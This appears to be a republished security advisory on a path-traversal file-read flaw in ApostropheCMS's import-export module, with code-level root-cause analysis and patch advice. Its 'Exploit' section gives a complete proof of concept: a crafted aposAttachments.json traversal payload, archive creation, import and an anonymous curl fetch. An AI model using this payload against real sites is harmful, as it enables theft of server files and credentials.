ApostropheCMS, Path Traversal (Arbitrary File Read), CVE-2026-63667 (Moderate) -DC-Sep2026-2091

Listen to this Post

The @apostrophecms/import-export module reconstructs the on-disk source path of every imported attachment from JSON metadata contained in the uploaded archive. The archive carries an aposAttachments.json file whose name and extension fields are concatenated into a filesystem path with no traversal check. The zip-slip guard that the module applies during tar extraction validates tar entry names only and does not cover this second path, which is built after extraction. The file at the resulting path is read and copied into the public uploads directory, then served over HTTP without authentication. A ../ sequence in name makes the module read a file outside the extraction directory and publish it at an anonymous URL. Result: an authenticated contributor reads any file on the host whose name ends in an allowlisted extension (other users’ uploaded documents, text or CSV dumps, PDFs) by importing a crafted archive and fetching the planted attachment anonymously.
The import parser builds each attachment’s source path by concatenating attacker-controlled JSON fields: lib/formats/gzip.js:46 sets `file.path = path.join(attachmentFilesPath, ${attachment._id}-${attachment.name}.${attachment.extension})` from the aposAttachments.json entries in the uploaded archive. That path flows unchanged through lib/methods/import.js:832 (insertAttachments) into lib/methods/import.js:1074 (attachment.insert), where uploadfs copies the referenced file into the public uploads directory served by express.static. The archive’s only traversal guard, lib/formats/gzip.js:143 (if (name.includes('../'))), validates tar entry names during extraction and never inspects the name/extension values used to construct the read path, so a name of `../../../../../../tmp/secret` escapes attachmentFilesPath. Reaching the sink requires only an authenticated session (lib/methods/import.js:71), view permission on the target type (lib/methods/index.js:54), and the upload-attachment permission enforced at modules/@apostrophecms/attachment/index.js:442, which the built-in contributor role holds. The trailing `.${extension}` is appended and checked against the file-group allowlist in modules/@apostrophecms/attachment/index.js (getFileGroup), so the target file’s real name must end in an accepted extension (txt, csv, pdf, xls, doc, svg, and similar).

DailyCVE Form:

Platform: ApostropheCMS
Version: 4.31.0 (import-export 3.6.1)
Vulnerability: Path Traversal (CWE-22)
Severity: Moderate (CVSS 6.5)
Date: 2026-08-12

Prediction: 2026-08-17 (patch released in v3.6.2)

What Undercode Say:

Check if vulnerable module is installed
npm list @apostrophecms/import-export
Verify installed version
cat node_modules/@apostrophecms/import-export/package.json | grep version

Exploit: (Educational Purposes!)

1. Create a secret file outside the upload tree
echo "TOP-SECRET DB DUMP" > /tmp/apos_victim_secret.txt
echo "DB_PASSWORD=Pr0d-Secret-9981" >> /tmp/apos_victim_secret.txt
echo "API_KEY=sk_live_victim_abcdef" >> /tmp/apos_victim_secret.txt
2. Create aposAttachments.json with traversal payload
cat > aposAttachments.json << EOF
[{"_id":"evilatt0001","name":"../../../../../../../../../../../../tmp/apos_victim_secret","extension":"txt","":"loot","docIds":[],"crops":[]}]
EOF
3. Create aposDocs.json (empty array)
echo "[]" > aposDocs.json
4. Create gzip archive
tar -czf exploit.tar.gz aposAttachments.json aposDocs.json
5. Import as contributor (POST /api/v1/@apostrophecms/<type>/import-export-import)
6. Fetch the planted attachment anonymously
curl -i http://localhost:3500/uploads/attachments/evilatt0001-apos-victim-secret.txt

Protection:

  • Upgrade @apostrophecms/import-export to version 3.6.2 or later
  • If upgrade is not immediately possible, disable the import-export module until patch is applied
  • Restrict contributor role permissions; do not grant upload-attachment permission unless necessary
  • Monitor for unexpected imports via module audit logs

Impact:

  • Read of arbitrary host files whose real name ends in an allowlisted extension (txt, csv, pdf, xls, doc, svg, and similar)
  • Disclosure of other users’ uploaded documents and any allowlisted-extension file readable by the Node process
  • The exfiltration target is copied to a public, unauthenticated URL
  • Triggered by the contributor role in a single import, no admin interaction required

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top